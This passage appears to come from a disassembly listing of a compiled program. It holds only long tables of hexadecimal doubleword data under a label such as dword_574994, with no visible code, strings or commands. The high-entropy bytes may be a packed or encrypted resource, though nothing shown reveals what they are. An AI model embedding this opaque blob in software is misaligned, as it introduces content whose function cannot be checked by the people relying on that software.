		dd 0C0C034h, 8F297F5Ah,	0BFB02286h, 9F4C7554h, 0EF82390Eh
		dd 35ABC367h, 210FB0FDh, 0B2200326h, 0E2C26DD7h, 91F5E7B0h
		dd 0C95430EBh, 4D399303h, 9AEC6A24h, 544426h, 0BC74EDFAh
		dd 3E23B203h, 0E84AACA0h, 1382260Eh, 0C235E133h, 0BC7005A3h
		dd 7E0101EAh, 4C0C6D25h, 24C423B7h, 940320CDh, 0E334E435h
		dd 22AFF847h, 57500EBAh, 0E2C0C73Bh, 0C97ED393h, 9D1EEC00h
		dd 0DF67855Ch, 0F09055F4h, 92E612C0h, 2B8E3DDCh, 44276F0Ch
		dd 98910351h, 360CE02Ah, 31D50C8Bh, 6EF0A7h, 0B21742EFh
		dd 282DBE2h, 0D4181C2Ah, 5DD4FA0Eh, 6A6E4359h, 78700340h
		dd 300D34BEh, 52F46909h, 540420B1h, 9A840421h, 3FD802C0h
		dd 0D5095810h, 0BBD0A043h, 1F00153Eh, 70439351h, 7465575Fh
		dd 70FA60B3h, 0A23C522Dh, 0FCE1FD29h, 0CA40B080h, 3B6DCF96h
		dd 0E8A6B6BAh, 409C6850h, 0B9AE1D0Bh, 56F51B13h, 0CB09E81Eh
		dd 0E60CA3E8h, 0CE4558Ch, 7D3F424h, 1AE4F24Ah, 0DA293CCBh
		dd 0E4CF00Bh, 1CC400C3h, 63D1AEh, 1B0D9BDFh, 8B9F25B6h
		dd 0B8CE9126h, 0D000E292h, 0C6BB7D09h, 0C77F7Eh, 0F8E1E9EBh
		dd 6A9BF43h, 0D7B0787Bh, 6F14E700h, 1A38EC66h, 48C801E1h
		dd 0AD368DD9h, 0B1642420h, 0FA78F900h, 37382CC1h, 519E0016h
		dd 0A2EE71AEh, 0CF0595C4h, 0FE124FF1h, 561A05C1h, 2003022h
		dd 0F96E2307h, 0BF002B9Bh, 5C34750Bh, 33170Fh, 3E7F095Eh
		dd 48A10CBAh, 11FFB01Dh, 0B1933AC0h, 19F688h, 36E86AC2h
		dd 9A86358Dh, 15A813Ch,	0DDECAD50h, 8887DAACh, 99361B57h
		dd 605BBA81h, 591980A4h, 8B4B8A70h, 25B1C0E2h, 0EB6319AEh
		dd 0A4C7FE01h, 4E80EA4Dh, 0E7310C0h, 0E3312FE7h, 0D9F740D9h
		dd 45398BB1h, 0E677800Ch, 3B229D5Bh, 98834D73h,	0AEDC9EA1h
		dd 80BA713Dh, 0A014AAECh, 1B3B733h, 0A547EA07h,	0C3CCE6FDh
		dd 15A025DBh, 6400B181h, 0FFD38863h, 7F114C8h, 0F0ADE23Ah
		dd 9E9B20DCh, 33000CE3h, 2F97631Dh, 44308Ah, 0F8ED9A47h
		dd 0A5F1891Fh, 0FB1D78C0h, 242EE0F4h, 9A8F5Ah, 336346FCh
		dd 9016F2ECh, 0A700D77Eh, 6DB13547h, 0B08C0C6Ah, 0BB41FB88h
		dd 992E5B00h, 910269C5h, 8D81549h, 833E6CA8h, 3A1CF980h
		dd 4F88DED9h, 0BD2AA102h, 80DD33B4h, 2E03DA90h,	0AC8C0042h
		dd 951B5434h, 71EE7C6h,	14C0B468h, 6A5666D2h, 0AED00125h
		dd 19BBB36Dh, 543CCCC0h, 0E7CD5300h, 0DC5D1B58h, 15A52CB5h
		dd 94F001BEh, 0D4F9543Dh, 310E0106h, 408CF160h,	2B12E5Dh
		dd 5E1530E3h, 0F2CD3D70h, 0E1D75106h, 19201179h, 9137AB60h
		dd 7256EC5Fh, 0E8D93500h, 336CE439h, 18BB0A9Dh,	1B511F0h
		dd 4B2E137Dh, 5B14D0DEh, 0A0ECA900h, 8B9DC262h,	91F46040h
		dd 0E13668DAh, 9E744C00h, 0E39DBC3Fh, 927200F5h, 1379A98Bh
		dd 0C700357Eh, 0CDD6FF3Ch, 1129798h, 62FAF3F6h,	8626759Ch
		dd 5BBE0698h, 6F637BC1h, 0B806092h, 406BDE22h, 0C9F2D700h
		dd 247C1A84h, 0AB10DF41h, 0AC67804h, 5A58F460h,	0CECDDCh
		dd 546010BBh, 977822EEh, 0D938C101h, 48BA88C6h,	0D3B72888h
		dd 90551488h, 0B7B48479h, 48CFA744h, 0CA024288h, 2804A025h
		dd 1C48CB89h, 0AC250FB9h, 6ED960E3h, 8E1938h, 0FC565F02h
		dd 717D9CCDh, 0FB25900h, 215CEE2Fh, 36D00069h, 0E182E26Fh
		dd 37030E03h, 0BA463CBCh, 2E21CFFFh, 87E038A7h,	7E167093h
		dd 0D6B90009h, 0E64C62Ah, 0E9A0328Bh, 510038B3h, 7DD85D9h
		dd 3B6255h, 8E67A65h, 0E26EB2C8h, 0DA4FDE01h, 8F80F3D4h
		dd 622C60h, 5A1CC4E3h, 2031F5F0h, 0CD682200h, 0A70B4946h
		dd 0B7F67Ch, 841ADD38h,	244F1DC7h, 36F6C00h, 74176E51h
		dd 6661E22h, 0D86A8060h, 0EAA26D64h, 0BC803A00h, 4A13FC96h
		dd 959E0054h, 0DC1C26CBh, 33055CD7h, 4B5DB64Fh,	0B6BF280h
		dd 14927Ah, 0A5FEAD37h,	83735A5Fh, 7CF62100h, 453D70C0h
		dd 5A800A6h, 8558AA9Ah,	0FB78C4D4h, 60D260CFh, 90130CDFh
		dd 4B3F007Ch, 5B2EE2ADh, 87000665h, 0CB5D5446h,	92DFBB3Eh
		dd 853B0C24h, 1178D74Fh, 4C9C801h, 6E34E170h, 0F7CDFCh
		dd 8FCC2A37h, 3D7E433Fh, 0C4177872h, 0EF0D47h, 8E763496h
		dd 0E009027h, 0D830DFECh, 904B0h, 5955DAEh, 0A5C203B5h
		dd 0F05E610Fh, 1999600Eh, 743BB46h, 0A1242811h,	0F153408Ah
		dd 0D43C8489h, 6D6600CCh, 0B91A2A98h, 0CDE23C54h, 0C6819F00h
		dd 21552E92h, 8538B600h, 4BBAB8F5h, 9020F3A9h, 0A0F60073h
		dd 973F7A0Eh, 1202C7BBh, 15FFA767h, 869C80EEh, 373DED1h
		dd 0F16823EAh, 97B845C1h, 0CF00B769h, 858A2AAFh, 338B589h
		dd 0FB0F2D21h, 548882D8h, 860BB56h, 0A2327C68h,	7826003Eh
		dd 28671EA4h, 0E20066B3h, 0D5ACBAC3h, 3CE525Bh,	4C06E486h
		dd 0A1C86B92h, 0B93F5491h, 396E8FD1h, 0C66366F2h, 0BF551F19h
		dd 1356008Bh, 76BA364Bh, 66144A0Dh, 0BEF02096h,	0F68504C3h
		dd 80F9EA8Fh, 0B96ECE80h, 0A5E90400h, 2665EC34h, 1829003Dh
		dd 0E01C9E79h, 911DF390h, 0B3071EAAh, 3250DA27h, 0C8A1FAFh
		dd 5EE1C7D5h, 3400BB20h, 7189B6FDh, 2691C72h, 108E04ADh
		dd 0E07FC667h, 0FA2EB93h, 0FD3324F7h, 6CF29DA0h, 34005D45h
		dd 53E9E4Ch, 2F1853h, 0FD706D87h, 2D51FC1Ah, 3866841Eh
		dd 0E382BAC0h, 36ADBCFh, 0D3C36927h, 0AAD36CFEh, 8BF645D8h
		dd 14099D00h, 0B7D7AF39h, 166D0E21h, 95A6631Bh,	411F1294h
		dd 6F4071F8h, 9E30A69Fh, 0D87FE6h, 2C5A9827h, 757DCB18h
		dd 0C20CBE00h, 0B5D258D4h, 0FE027DDAh, 6CEF240Dh, 0A59F0055h
		dd 15795D91h, 6DE36504h, 1182557Fh, 68D4402Dh, 809000E2h
		dd 5C7E714Fh, 0F0C0E68Ch, 0C0F6C5B0h, 76040030h, 55941DD0h
		dd 0D2009B53h, 0FABCFE1h, 0F39221Ah, 6382B0F6h,	0CFBEB7E7h
		dd 7F1762A1h, 1A70208Dh, 0DF687D1Eh, 0A809DB90h, 0CC00F5ACh
		dd 953178E9h, 0A267552Ch, 0DC532D00h, 2425D2h, 0C506FB5h
		dd 0A105FDB9h, 0F2DE3100h, 0BBCB0871h, 553000A5h, 1594BF46h
		dd 0F5E8074Fh, 0D7FA0900h, 5027167Dh, 0E167009Eh, 66FFC618h
		dd 1F07A240h, 0C0F0AAE5h, 407499E2h, 3D0394h, 8058F146h
		dd 2E0699Bh, 86F27700h,	3193BBF3h, 0A29F004Bh, 0F58B87AAh
		dd 0C800CB52h, 0F2542383h, 208A1Bh, 0C30A50E3h,	0AC5F7730h
		dd 0EA763Eh, 2FBAB2F6h,	136AD386h, 1EDFB4Ah, 0CAB55748h
		dd 8F79F403h, 0A561D71Eh, 5CB70CC0h, 7DDDBCEEh,	2FD10010h
		dd 41BD4ACFh, 0FEC3049h, 42663B00h, 8F16EEA4h, 972D07DCh
		dd 5B6041A2h, 67E4200Fh, 925D40F4h, 89E4E0h, 0BA2108ACh
		dd 0DB500DEBh, 1AA5BD00h, 38E0BE1Ch, 0B090CDh, 35E51641h
		dd 30A23365h, 0BA47BC00h, 0CFA49AA8h, 225E006Ch, 1B361373h
		dd 0E6000FACh, 513D6DF6h, 24A5B095h, 1F507CD5h,	4A94407Eh
		dd 44BCF270h, 4E8BBB07h, 9A6038EEh, 3E7D053h, 5825177Eh
		dd 84F0D310h, 8F90F88Eh, 48000971h, 37BCE6C7h, 0FD573Ah
		dd 0A46ACB8Fh, 0BB7C469Bh, 0AA184900h, 0C2813540h, 650700A6h
		dd 90BA50BCh, 5A010999h, 547CB851h, 0E5D026D1h,	80A70B5Ch
		dd 3C00F0BEh, 2F0B6AA6h, 9EDD7200h, 0F38B5673h,	0E107021Eh
		dd 11B89082h, 0EF67C180h, 7A1C0FE6h, 4CC0D4ECh,	0D6F9AE84h
		dd 0BADA0557h, 80DE6D97h, 4BB1AF7Ch, 312D9E00h,	8F0477B4h
		dd 0FED901ECh, 4C7B160Dh, 0C90C60FDh, 0EB2AE600h, 0BF02D66Ch
		dd 0FC652C9Bh, 59E70008h, 0FF0D010Eh, 0DC02C1ECh, 38889CB3h
		dd 291DE0E0h, 6DC2076Ah, 0C09E53A6h, 0B6A73522h, 1CA411C7h
		dd 0EA2067E7h, 155B7h, 9DFE8E7Dh, 0B3BD3B77h, 0BF7ED700h
		dd 21C37228h, 0AB2A001Fh, 896A4DA2h, 5A008CC5h,	28B1669Bh
		dd 0EE8FA9h, 55933C9Ch,	0A6AF29DDh, 5DE2050Bh, 8608000Dh
		dd 16ABC9h, 543EBA4Fh, 0F7136B35h, 0A2816902h, 40751A6Fh
		dd 4F084Ch, 0D192FC6h, 0A3EB51B5h, 78008E77h, 3CD33AFAh
		dd 2A76B627h, 3EA0505Eh, 27B8F0Dh, 0E18A3202h, 0D860AEECh
		dd 0C83D3194h, 2CEACCD7h, 0FC00D63Fh, 3EA6E3C7h, 0DA3050D2h
		dd 94D9FF18h, 0A5C3830h, 0AFDA0AACh, 635F0390h,	7A00332Ah
		dd 4A8D447Ch, 3C78266h,	3521A860h, 38F9B10h, 69F87B31h
		dd 68071261h, 59DBB76Dh, 0E808CE00h, 299900CAh,	2694CCE6h
		dd 2A00D9E7h, 870FEB23h, 7B896970h, 0D47B009Dh,	97D5BC42h
		dd 0EB390EAEh, 80133D95h, 3B8FFBFh, 263C504Dh, 16E7CF7Ah
		dd 0E0F0006Eh, 9AF3A2C2h, 64A3852Eh, 2DABB301h,	2080714Ch
		dd 0FC90F28Ah, 0EE3BFA46h, 0A0961872h, 0FA45128h, 9FF671E9h
		dd 0E227B8E0h, 0AD3061C4h
dword_574994	dd 0C8FB209Dh, 7AAE041Bh, 805B1832h, 7C369614h,	11855530h
		dd 0BF3F03h, 6EC54DD2h,	0B6FAD650h, 21257330h, 8B5247h
		dd 80B76246h, 21CF9D59h, 0F7A57E00h, 8FB60810h,	0A173006Eh
		dd 0FDA0859Ch, 6C00E3EFh, 256FCADDh, 92D311h, 0F8A29682h
		dd 2775F5CBh, 0A00D4B01h, 0D5AF6F5Eh, 4B98C30h,	0FDBAEA12h
		dd 0BE0488EDh, 0A600467Ch, 0AC41D26Bh, 1231CC9Eh, 5DAABCDCh
		dd 217D8310h, 0F003F579h, 287ED901h, 36110084h,	0AD4C291Fh
		dd 0E71D21D2h, 540995Ah, 90EF1CF7h, 4140008Bh, 0D7C0865h
		dd 0BE00DDDCh, 991258E6h, 169ADABAh, 186E4102h,	0E8B85085h
		dd 0E2564501h, 0EA669F72h, 1442F4h, 0E41C0AF1h,	0E91ED1A0h
		dd 51EC6300h, 7B567E41h, 8820332h, 45B0FE34h, 0E8A1E3D0h
		dd 2C30940Bh, 0B7B40042h, 5039F54h, 0F4D93676h,	0B5AC806Ch
		dd 0A10030F6h, 8004D34Fh, 9CDB5Ah, 3E4B9B28h, 600C6141h
		dd 34D88130h, 7180ECC4h, 0F94700E5h, 9B2CE068h,	0A200278Bh
		dd 1675DD4Ch, 261842DAh, 84A93Eh, 0B664AA66h, 670095EEh
		dd 0EF9B8512h, 0FA068613h, 371D00BDh, 1E7BB580h, 893C8D1Bh
		dd 130280ABh, 5B504074h, 0A96C00EDh, 8FCD80FDh,	81261E23h
		dd 4600CF98h, 400CA6F5h, 9B84005Ah, 0D33C775Dh,	74F4D2C6h
		dd 1C98FB0Eh, 9CA4053h,	0B35512h, 6341A0Ah, 32E7F8D6h
		dd 273D6F00h, 0F4048417h, 0FD8B007Fh, 8EE235B8h, 0CE00BEECh
		dd 1C87D671h, 38B01256h, 608354A0h, 0FB318424h,	0D5C7D012h
		dd 2B5DDC07h, 0D006BD87h, 0B9470029h, 705A8732h, 1A00F901h
		dd 0C090FA39h, 96694804h, 0CA610090h, 28784BC1h, 0D22FBF03h
		dd 0D0E3A51Eh, 0F104A122h, 28A93DE4h, 82472Eh, 3346D060h
		dd 0D3B4D605h, 3D365500h, 17C97B02h, 0AED8CAFCh, 8C1607B0h
		dd 83F980A9h, 52F8E8F3h, 87ECAB00h, 42039674h, 3B197D0Ch
		dd 150089DBh, 8EF0F4CFh, 0A40093D5h, 0B4AE9B20h, 0FB2F91AFh
		dd 60164080h, 1805AD26h, 6A8F018h, 174CDF71h, 2CB997h
		dd 0DDEA69B0h, 9116F4A3h, 0E81F175Fh, 0CB790800h, 0C47B7Fh
		dd 38AF5422h, 0B27CFC33h, 8DE18000h, 3DAFFE6h, 9E062566h
		dd 0D9B96020h, 12EA9510h, 0A62DA50Eh, 46AB4062h, 13025AA2h
		dd 4ED452h, 0D9E5888Fh,	0F001CEDh, 0A7EE035Dh, 0E207130h
		dd 85AFA27h, 0F3921921h, 74D4E04Dh, 47B13Fh, 6A0F8B9Ch
		dd 0DF0E6Eh, 767F1741h,	970440FAh, 0DEB17105h, 50800CCDh
		dd 3C5C1996h, 0AE8061A6h, 43BB45E3h, 0B038FA4Eh, 80693C12h
		dd 0EC380D4Dh, 38A7F96h, 1C81C4DCh, 0E7F89F07h,	2A098C47h
		dd 258EDEADh, 5080AE60h, 45843F5Dh, 0B44C2026h,	9163A805h
		dd 0FA80A1BCh, 7D230FABh, 8E541338h, 0BD1801CFh, 209C620Bh
		dd 6B00277Eh, 878FAAE3h, 4C8C6676h, 0AD1D7CDEh,	0CCD7F7h
		dd 0F6CFDCC4h, 540091AAh, 0F5D84F36h, 0B41C90h,	9368618Ah
		dd 0D5A95D21h, 5348F400h, 0E3E0ED0Dh, 3054008Eh, 0CC6C4055h
		dd 0BD03FF4Dh, 1B24FCFEh, 0DE6AF8B4h, 98B55CDAh, 7682AA0Fh
		dd 0EB9653C0h, 51860B0h, 18806B66h, 0AF380008h,	86696A85h
		dd 3209B8AEh, 8F9329h, 1DC7E4DAh, 6EB50031h, 0F63B0976h
		dd 0E100F8DCh, 2F48546Fh, 39DBFDEh, 0C0F1160Eh,	2A8B2EA7h
		dd 449AB0A7h, 58C07898h, 73096AB4h, 0BED40692h,	1852C08Ch
		dd 0C3D1F000h, 62C6D86Eh, 0E50B0E76h, 0CC6077A8h, 2BE7CBBh
		dd 0E281C101h, 0A933201h, 2BA31F4h, 0B38B1A0Eh,	84681C08h
		dd 267BF1FAh, 1364439h,	3C3849B9h, 60BCD01Dh, 33898101h
		dd 0ECBBD31Fh, 0A1006F06h, 1791E57Dh, 1F993C67h, 184F35h
		dd 1C364377h, 280076A3h, 0A119F97Dh, 1CCA3049h,	0C0E1BB2Ch
		dd 0F489ED21h, 797BDDD5h, 0A1F9E400h, 0D7E5DA50h, 158F1E9Dh
		dd 26803F78h, 0FE9BB0E8h, 0DA7CA92Dh, 1C401401h, 4F9E6446h
		dd 1115AD4h, 3F4879CAh,	0D8F3A7B4h, 0D101165Fh,	2E06DE12h
		dd 0FDF0D228h, 1FC00044h, 131B3E9Bh, 58005602h,	0CAACA5FEh
		dd 8294B2h, 592DFF48h, 0AB71E403h, 0B3104760h, 1FF9E26Fh
		dd 80C8A1B6h, 1760FD57h, 4248DD0Dh, 0B80A7CCAh,	8FB3266Dh
		dd 0B2FB2B02h, 0A534411Bh, 0A883F4h, 5FA3A4A7h,	7256C348h
		dd 2C458B00h, 439FE198h, 0E855509Bh, 0DEB23CD5h, 2B1A400h
		dd 0C151F5D9h, 0E94B2C00h, 0BF72D2E7h, 0DCEC00C7h, 0EE47260Dh
		dd 0D401AA93h, 7EA7F667h, 84F36423h, 0EBBBFA81h, 3E47B7ECh
		dd 0DC285D1Bh, 7B3C00E0h, 0EDF1A557h, 0A6035939h, 0E3BCD0FFh
		dd 0EC2000E5h, 26018FD9h, 0A9FEDD63h, 0F5B13Dh,	0ABCD373Dh
		dd 304DC5E0h, 0E3B0B7D1h, 0BF183CC8h, 2441FB9Bh, 291D0132h
		dd 0DFFF5382h, 0D12881A1h, 2702789Bh, 6F0CC0h, 59658385h
		dd 0F79E33BEh, 0A1055C00h, 0D15090DDh, 0E1B109E5h, 0A2075882h
		dd 0B2C307FDh, 704011A8h, 7600016Eh, 931FB6AFh,	0F38304Ch
		dd 16A4D68Eh, 9E62477Fh, 503A0FEh, 0FC00C206h, 0A0C7E0FFh
		dd 0BB17EBh, 6023DEF4h,	0E7DC6313h, 19474506h, 3820A104h
		dd 5E279706h, 0BA024074h, 804F15ABh, 0CF2B6ED8h, 4AA000DFh
		dd 0A7B0605Dh, 2D0C8A95h, 786311D1h, 12707634h,	3872CF9h
		dd 3F4BA700h, 0B814018h, 3C8073F9h, 2880087Eh, 0F68F176h
		dd 843AE2AEh, 260E0092h, 0F54B72C8h, 10B0603Ch,	225AFFCDh
		dd 80E0D600h, 0CA3247C6h, 1C1A7BE5h, 9FDCC4h, 2829A716h
		dd 870006C1h, 0F83EF170h, 2E0BCFh, 31AB4BFEh, 57616BC6h
		dd 68BF8500h, 0FA783832h, 0D75D00A2h, 0B69C5A72h, 7B00C174h
		dd 6815F375h, 0FF70A4h,	4DD04EF7h, 0EF1C9782h, 6F02C5F2h
		dd 9339192Ah, 0BC2EC14Fh, 0FB20B0DFh, 71440B58h, 0C070358Bh
		dd 6BEFFC1Fh, 9C96FAC0h, 3E68163Dh, 0A280D1CFh,	0CC8C3741h
		dd 7BB8BC82h, 0EFF7B900h, 0FC1574E8h, 1924003Ch, 96D37E6Bh
		dd 9400449Eh, 0D8976A61h, 0EAA463C1h, 865E582Ch, 9DC4D100h
		dd 222E52A3h, 0AAA55B14h, 467D0188h, 0AC37EC97h, 3B8FF040h
		dd 0B4B510CBh, 44A083Ah, 0A5813D56h, 3FD82CCEh,	447ACC83h
		dd 0A0688900h, 576A53E6h, 0C4800038h, 32DA62E0h, 0EE008663h
		dd 66E2CE1Fh, 698215h, 7F4AD0D3h, 2351B93Ch, 4CAC1800h
		dd 0F59CB053h, 841F243Ah, 634788A0h, 21619280h,	6D8E4F1h
		dd 5D95AF83h, 0D37A21A1h, 0C9F8524h, 6B910F86h,	547C6740h
		dd 0A2DBB0A7h, 8D00ED6Eh, 0BB59689h, 0E69FB2CDh, 0A8C1C56h
		dd 0FEFF0040h, 35FAFDAAh, 9906F305h, 5C0A67Dh, 14E7FC7h
		dd 9AAA1A1Fh, 3038488Fh, 0D65C91BEh, 0AC3A0AA3h, 97809032h
		dd 6F7B0401h, 69CA005Dh, 0C05C09FAh, 233928F7h,	0EC558531h
		dd 2E80C786h, 2D72B0h, 0B6589B35h, 0D2DC7BA5h, 15A86700h
		dd 0F43457EAh, 23A0003Bh, 0C12FAA2Eh, 8603180Bh, 0EDB297A9h
		dd 980185B4h, 9ED99A43h, 5D017568h, 642BF80Ah, 4D2C3056h
		dd 5FAAF31Fh, 77A2DF00h, 0DCFE66h, 0DA468CFCh, 1F7C7030h
		dd 0CC75B100h, 0A6F96206h, 0D9CF0718h, 0F0391599h, 26AAE6D3h
		dd 7242201h, 1269D42Bh,	1E7F1D4h, 3AED427Ah, 0E0221FDDh
		dd 550417C4h, 0AB44E033h, 1C6B4480h, 0D3B00240h, 670BD7F9h
		dd 0AFC50CC0h, 0FE1B4C00h, 0FCB2D6ECh, 3A1EC56h, 4F53CA7Eh
		dd 0E800D717h, 481A6178h, 1D0333FBh, 3D579Fh, 0A8C4A75Bh
		dd 280010FDh, 2A796F1Dh, 8D1E7Bh, 552C03D8h, 0A16275EAh
		dd 4099A03h, 91E93E76h,	498339E5h, 0DB85EA34h, 6DB2E790h
		dd 89E6E304h, 0CC836EF1h
		dd 0FF8DB8B9h, 0BD6F00B7h, 276628D7h, 7248D920h, 88037434h
		dd 0F7A01060h, 0DD28801Dh, 0C4FF00A5h, 4794C307h, 0AC00CF3Fh
		dd 0B20EE81Fh, 10DE742h, 0A6F03881h, 0F8D51007h, 0DA2429FFh
		dd 0E0000D24h, 42B9936h, 0CC9A3Ah, 55FE1127h, 6F820119h
		dd 5DFC98C0h, 7E8ABE96h, 9B211C12h, 0FDDF0207h,	30E09577h
		dd 0F7001872h, 21AEB882h, 0E8C6BA33h, 3CB679CDh, 72B03CB3h
		dd 409FF128h, 0BE09DC9Ah, 80111292h, 0FDC51360h, 893A0076h
		dd 0AD0C9FCDh, 36004AB2h, 0B39B2201h, 0C7B2196h, 82FA1607h
		dd 3300D661h, 71F44EF6h, 9656C0h, 776E1936h, 0A434D0C8h
		dd 0C7286F60h, 0C04155EEh, 12B24679h, 4203B327h, 0E2A8A133h
		dd 0E85EE367h, 3E51887h, 7ABE3920h, 0CFDBA7EEh,	0C08F37E1h
		dd 1500924Fh, 0AFFEDEEBh, 5041C9h, 3EB89C8Eh, 0D377106Ah
		dd 296CA000h, 27F5E652h, 0F6451CD9h, 0F89F89B2h, 2398D828h
		dd 44335104h, 0AC046B1Ch, 0B6C80310h, 0F514E2Fh, 4031EE80h
		dd 211D1933h, 48388A55h, 7B1BF984h, 0F32E00B2h,	0DDE1796Bh
		dd 0C60F4096h, 0E013613Dh, 0BE5F5451h, 2B61C183h, 806FE1D7h
		dd 0F14B3F71h, 0F31B8DDh, 73598EA2h, 0F36F280h,	4800B909h
		dd 0E64FCDA1h, 0ECC85D0h, 8D0732C0h, 0B5FE8078h, 5E436D00h
		dd 20A90537h, 0CDB60788h, 0B0268350h, 1BD9ADFBh, 717220C7h
		dd 0FDA5FEF1h, 1111204Eh, 0D5368083h, 1DFD8FFEh, 0C2A5C58Bh
		dd 66ED38E9h, 0AF8198A0h, 3900DE50h, 3E5265Ch, 3994568Ch
		dd 6202E1FDh, 4C965AFBh, 55AD0C60h, 9CB55F2Ah, 843CC1E7h
		dd 6187C7F9h, 9B66001h,	86208136h, 0E5B5F957h, 2A0F77C4h
		dd 0C0D0BDh, 0E217BB11h, 2319F37Ch, 981D6FFAh, 7DC3C8B4h
		dd 0F89A8A57h, 7AA737EAh, 0D20D0705h, 47334AACh, 0FE728002h
		dd 0CE0E82A8h, 0A0A17D77h, 66EBC5DFh, 0E2050C74h, 0D28DBD5h
		dd 0AF160A0Fh, 110F80D0h, 30B4F728h, 85493B3Fh,	75004065h
		dd 0F4DD15B6h, 0CED93Ah, 43DF7429h, 0BF6099E2h,	1BDDA00h
		dd 210D0E3Eh, 8AD400A6h, 0AE82360Ah, 0C700085Eh, 8CAAA8CEh
		dd 1EB02AD5h, 8174561Ah, 88E2A909h, 2C09024h, 6E8055C0h
		dd 540F52D5h, 80D1F9BEh, 0C933F6CFh, 3A3F303Dh,	6F385829h
		dd 0DEFB8204h, 0D1E0A641h, 0A8B900E3h, 2AD8F928h, 61C0225Bh
		dd 778B1944h, 0F2F0053h, 0E6911EA8h, 2E0003A1h,	0FE18BFA5h
		dd 0EC8371h, 5D11F75Eh,	0AABBDCADh, 5ABEC91Eh, 9CA6384Ah
		dd 2906D281h, 1181D4B9h, 2DAAFDD5h, 7128B7ADh, 3E5C38C0h
		dd 0A210C012h, 0CC53041Bh, 7175561Ch, 8765AB06h, 0C9521830h
		dd 0EA42937h, 8C92C100h, 0E1CC03F3h, 15D90039h,	4955CA27h
		dd 0AC00A494h, 8CE8BC71h, 0B8C7826Ah, 0B2A3036Eh, 43ED0FAEh
		dd 0DB2B5BA0h, 44E63Eh,	0A04C9F11h, 0CD9353Fh, 8B08AAB7h
		dd 0D2004678h, 1B8DB232h, 0F2DDC2E3h, 0BA42875h, 0F9170560h
		dd 0A537C6h, 919F0A7Ch,	50C14E9Ch, 0C6EC0DFh, 2442E052h
		dd 890DC0AFh, 2E3E7123h, 1F037854h, 1601D6F8h, 0BA79901Ch
		dd 0CD04834h, 0B3B281C0h, 25545BCBh, 0FF0042A0h, 0FA64907Eh
		dd 7B26B32h, 0CAA2E344h, 0EEDDC166h, 0BE0C20E1h, 7B296E40h
		dd 0DFA9C3B5h, 490C2BC1h, 19D1B424h, 0CDBF185Dh, 0B6903182h
		dd 3CE10541h, 68F0C057h, 0B27F41h, 0B9CB635Dh, 0C81B2A8Eh
		dd 2147E40Ah, 7105800Bh, 0A80A176Dh, 8160E404h,	0E6BC72h
		dd 0CAA321B3h, 44A44A15h, 6C623D77h, 0A0F85B61h, 0A694F398h
		dd 60AE1FC5h, 7F5880C2h, 501D3A5h, 7904EE07h, 0DB61DCA8h
		dd 60868855h, 0EEC547ADh, 3503C8E9h, 0BCA67129h, 0C19E3A80h
		dd 17D1782Ch, 30A9715h,	933995D9h, 6E059FC8h, 64132602h
		dd 0A127C0E2h, 74ADB990h, 7E780C26h, 43370154h,	0F3A00318h
		dd 81C3544h, 79381498h,	98DA805Fh, 60ECB77Eh, 0E0E30FFBh
		dd 9FE02CC2h, 0A8B62B4Ah, 0DDF9E101h, 35AA752Ah, 17ADA980h
		dd 235CCD8Dh, 1FC5D93Ch, 78048671h, 0A088BADFh,	51C9BB2h
		dd 32B3217Fh, 9019B7F0h, 0C4044A08h, 5BEBAC59h,	0E302CC8h
		dd 0B6F7D1DBh, 1425F320h, 3814A347h, 11A0CA22h,	4F00393Fh
		dd 88DA493Dh, 0C3B57FBh, 0CC8380CAh, 9CEB018Dh,	0A875ECADh
		dd 0E1872E4h, 0B4A46BDFh, 2A7F3520h, 630A133Bh,	0DC74A6F9h
		dd 665E38C2h, 41A1E04h,	18C17A51h, 0D95145BCh, 86F040B4h
		dd 480F2442h, 913A0CCh,	493C04A3h, 0D2C1D540h, 182AB55h
		dd 0E1FBF88h, 797EB900h, 0AD3EE9E6h, 90AE2467h,	0E2AC6B82h
		dd 8F9C99BBh, 0D4985B08h, 3D633774h, 9F75A9h, 49E21929h
		dd 0CC6C93C0h, 4D40648h, 0ADD5D4F7h, 21F3C099h,	0A0084040h
		dd 29D6860Ch, 0F00E6806h, 2EA2DE7h, 45682C44h, 0A818263Ch
		dd 0CCA607B4h, 639B3003h, 0A918E08Dh, 0B5613AC9h, 0A25F0277h
		dd 829FAF2Eh, 467D90A4h, 0A2973C9h, 0B823046Fh,	0BCEF0098h
		dd 58FA8E6Dh, 1453DB0Eh, 91EC82C8h, 9E90687Ch, 7CA75074h
		dd 701E249h, 5BF26EE2h,	8946C023h, 0A33D1883h, 8035BBD1h
		dd 0C9129105h, 190F84h,	0E67A609Ch, 0CFE523AEh,	7E3EB58h
		dd 674DCBC1h, 0B72A5800h, 482C18BAh, 2594285Fh,	4656CF06h
		dd 24602218h, 1A2C821h,	0E0AE2F0Dh, 4D0C4010h, 8C7BA9ABh
		dd 141C5C00h, 2F2BEF77h, 89450120h, 8CBC225h, 0F2FF60C9h
		dd 38219937h, 44EBBFC0h, 4D731EC0h, 0E5C282BCh,	108097F2h
		dd 1DE0D00Eh, 10369C0h,	0A345E5h, 0BC2A6631h, 0DFFF523Ah
		dd 8442E600h, 0F4F02225h, 21E70198h, 0C2710674h, 0B811C041h
		dd 0A661D00h, 171859B3h, 0AC561946h, 0CA2C7876h, 0BA237CA2h
		dd 8E09DDE0h, 82D00A0Fh, 0F0C5C3D4h, 0E2881824h, 90639108h
		dd 0F1586B1Fh, 0A0C1E3C0h, 0FA16EEF5h, 0BEA6008Dh, 0DF33AAACh
		dd 0F905928Fh, 0E64A27EAh, 8EED7020h, 92DA1D28h, 4A2FCEF8h
		dd 3C8C880Eh, 0F4607921h, 835EDE76h, 0BEAD0029h, 0CE206A61h
		dd 7D284DFBh, 0A41BD48Ch, 0D340F0DCh, 0CFA900BEh, 0F1610168h
		dd 0C107C787h, 584C64A2h, 899293F0h, 0E630C0D1h, 3BDE9765h
		dd 2AA4D40Eh, 222C4160h, 0B8908B95h, 0DA3680F5h, 0CFBF3048h
		dd 0C31E0961h, 3A93F2D0h, 0ADE7B10Ah, 6600C483h, 43BB0AD6h
		dd 0D8232B40h, 0ABE78CF4h, 683E8829h, 87EC1F67h, 0C9A1007Eh
		dd 4BCBBF23h, 56B00A5Fh, 83B81A40h, 28F0F112h, 0C0C8F039h
		dd 17073253h, 0E4B12D21h, 1900F7E0h, 0B81CA36Eh, 943FBh
		dd 6B28A03h, 680127E1h,	16578002h, 421F7946h, 0C976370h
		dd 209CF240h, 0D82049D9h, 991F088h, 312CE11Fh, 150AA820h
		dd 28CD59C7h, 9010E022h, 0E8BDC8h, 0AF3037EEh, 90FC9ECDh
